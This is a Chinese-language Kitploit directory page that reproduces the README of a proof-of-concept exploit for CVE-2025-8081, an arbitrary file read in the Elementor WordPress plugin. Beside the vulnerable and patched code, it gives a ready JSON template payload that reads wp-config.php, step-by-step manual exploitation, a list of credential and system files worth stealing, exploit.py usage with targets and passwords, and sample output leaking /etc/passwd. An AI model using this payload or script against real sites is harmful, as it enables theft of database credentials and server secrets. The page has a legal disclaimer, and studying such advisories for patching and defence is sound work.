Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-8081-Elementor — CVE-2025-8081 的概念验证漏洞利用程序,针对 Elementor WordPress 插件中的任意文件读取漏洞,允许已认证的管理员读取诸如 wp-config.php 之类的敏感文件。 | Kitploit
工具/GitHubGitHub/lyesh4ck/cve-2025-8081-elementor
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHublyesh4ck/cve-2025-8081-elementor

CVE-2025-8081-Elementor

CVE-2025-8081 的概念验证漏洞利用程序,针对 Elementor WordPress 插件中的任意文件读取漏洞,允许已认证的管理员读取诸如 wp-config.php 之类的敏感文件。

查看仓库
10个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-8081 - Elementor 任意文件读取漏洞

Severity CVSS WordPress Elementor

Elementor WordPress 插件中的一个严重任意文件读取漏洞,允许已认证的管理员读取 Web 服务器可访问的任何文件,包括包含数据库凭据的敏感配置文件。


📋 漏洞概述

CVE 信息

属性值
CVE IDCVE-2025-8081
类型任意文件读取(CWE-22:路径遍历)
CVSS 评分4.9(中危)- 实际影响:严重
CVSS 向量AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
受影响版本Elementor ≤ 3.30.2
修复版本Elementor ≥ 3.30.3
发布日期2025 年 7 月 22 日
披露日期2025 年 10 月 15 日

攻击条件

  • ✅ WordPress 管理员账户
  • ✅ 已安装并激活 Elementor 插件
  • ✅ 可访问模板导入功能
  • ✅ 已启用图片 Elementor 小部件

影响

  • 🔴 任意文件读取:可读取 Web 服务器用户(www-data)可访问的任何文件
  • 🔴 凭据窃取:访问 wp-config.php 可获取数据库凭据和安全密钥
  • 🔴 数据库沦陷:使用窃取的凭据完全访问 WordPress 数据库

🎯 漏洞详情

位置

该漏洞存在于单个文件的单行代码中:

root@kitploit:~
elementor/includes/template-library/classes/class-import-images.php
第 115 行(v3.28.3)

漏洞代码(v3.28.3)

root@kitploit:~
if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = Utils::file_get_contents( $attachment['tmp_name'] );  // ❌ NO VALIDATION!
}

问题:tmp_name 参数未使用 is_uploaded_file() 进行验证,允许攻击者指定任意文件路径。

修复代码(v3.30.3)

root@kitploit:~
if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = false;
    // security validation in case the tmp_name has been tampered with
    if ( is_uploaded_file( $attachment['tmp_name'] ) ) {  // ✅ VALIDATION ADDED!
        $file_content = Utils::file_get_contents( $attachment['tmp_name'] );
    }
}

修复方案:该补丁添加了 is_uploaded_file() 验证,以确保 tmp_name 指向合法的 HTTP POST 上传文件。


💣 概念验证

JSON 载荷

root@kitploit:~
{
  "content": [{
    "id": "s1",
    "elType": "section",
    "settings": [],
    "elements": [{
      "id": "c1",
      "elType": "column",
      "settings": {"_column_size": 100},
      "elements": [{
        "id": "w1",
        "elType": "widget",
        "widgetType": "image",
        "settings": {
          "image": {
            "url": "http://x.com/x.jpg",
            "id": 1,
            "tmp_name": "/var/www/html/wp-config.php",
            "name": "leaked_config.txt"
          }
        },
        "elements": []
      }]
    }]
  }],
  "version": "0.4",
  "type": "page"
}

手动利用步骤

  1. 以管理员身份登录 WordPress
  2. 导航至 Elementor → 我的模板 → 导入模板
  3. 上传上述 JSON 载荷(保存为 payload.json)
  4. 点击 立即导入
  5. 前往 媒体 → 媒体库
  6. 查找并下载 leaked_config.txt

结果:包含数据库凭据的 wp-config.php 内容被泄露!


📊 值得窃取的有趣文件

关键文件

文件描述影响
/var/www/html/wp-config.phpWordPress 配置🔴 严重 - 数据库凭据
/proc/self/environ环境变量🔴 严重 - API 密钥、机密信息

高价值文件

文件描述影响
/etc/passwd系统用户🟠 高 - 用户枚举
/var/www/html/.htaccessWeb 服务器配置🟠 高 - 配置泄露
/var/log/apache2/access.logApache 日志🟡 中 - 信息泄露

🛠️ 自动化利用

快速开始

root@kitploit:~
python3 exploit.py -t https://target.com -u admin -p password123

命令行选项

root@kitploit:~
必需参数:
  -t, --target URL        目标 WordPress URL(例如:https://target.com)
  -u, --user USERNAME     WordPress 管理员用户名
  -p, --password PASS     WordPress 管理员密码

可选参数:
  -f, --file PATH         要读取的文件(默认:/var/www/html/wp-config.php)
  -o, --output FILE       输出文件名(默认:自动生成)
  --insecure, -k          禁用 SSL 证书验证
  -v, --verbose           启用详细输出以进行调试
  -h, --help              显示帮助信息

使用示例

root@kitploit:~
# 基本利用(使用默认载荷读取 wp-config.php)
python3 exploit.py -t http://target.com -u admin -p password123

# 自定义目标文件
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd

# 使用 HTTPS 和自签名证书
python3 exploit.py -t https://target.com -u admin -p password123 --insecure

# 详细模式并自定义输出
python3 exploit.py -t http://target.com -u admin -p password123 \
  -f /etc/passwd -o users.txt -v

# 从 OrbStack/Docker 攻击宿主机
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v

预期输出

root@kitploit:~
Kali:~$ python3 exploit.py  -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd

======================================================================
 CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File:   /etc/passwd
======================================================================

[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes

======================================================================
 EXPLOITATION SUCCESSFUL!
======================================================================
File URL:  http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to:  leaked_passwd.txt

--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================

⚖️ 法律免责声明

仅供教育和授权测试使用

本工具仅用于安全研究和渗透测试目的。未经事先双方同意而使用本工具攻击目标属于违法行为。

遵守所有适用的地方、州和联邦法律是最终用户的责任。

  • ✅ 仅用于您拥有或已获得明确书面许可进行测试的系统
  • ✅ 负责任地披露漏洞
  • ✅ 教育和研究目的
  • ❌ 未经授权的访问是违法的,将受到法律制裁
  • ❌ 作者对滥用行为不承担任何责任

使用本工具即表示您同意合法且合乎道德地使用它。


最后更新:2025 年 10 月 17 日

下载工具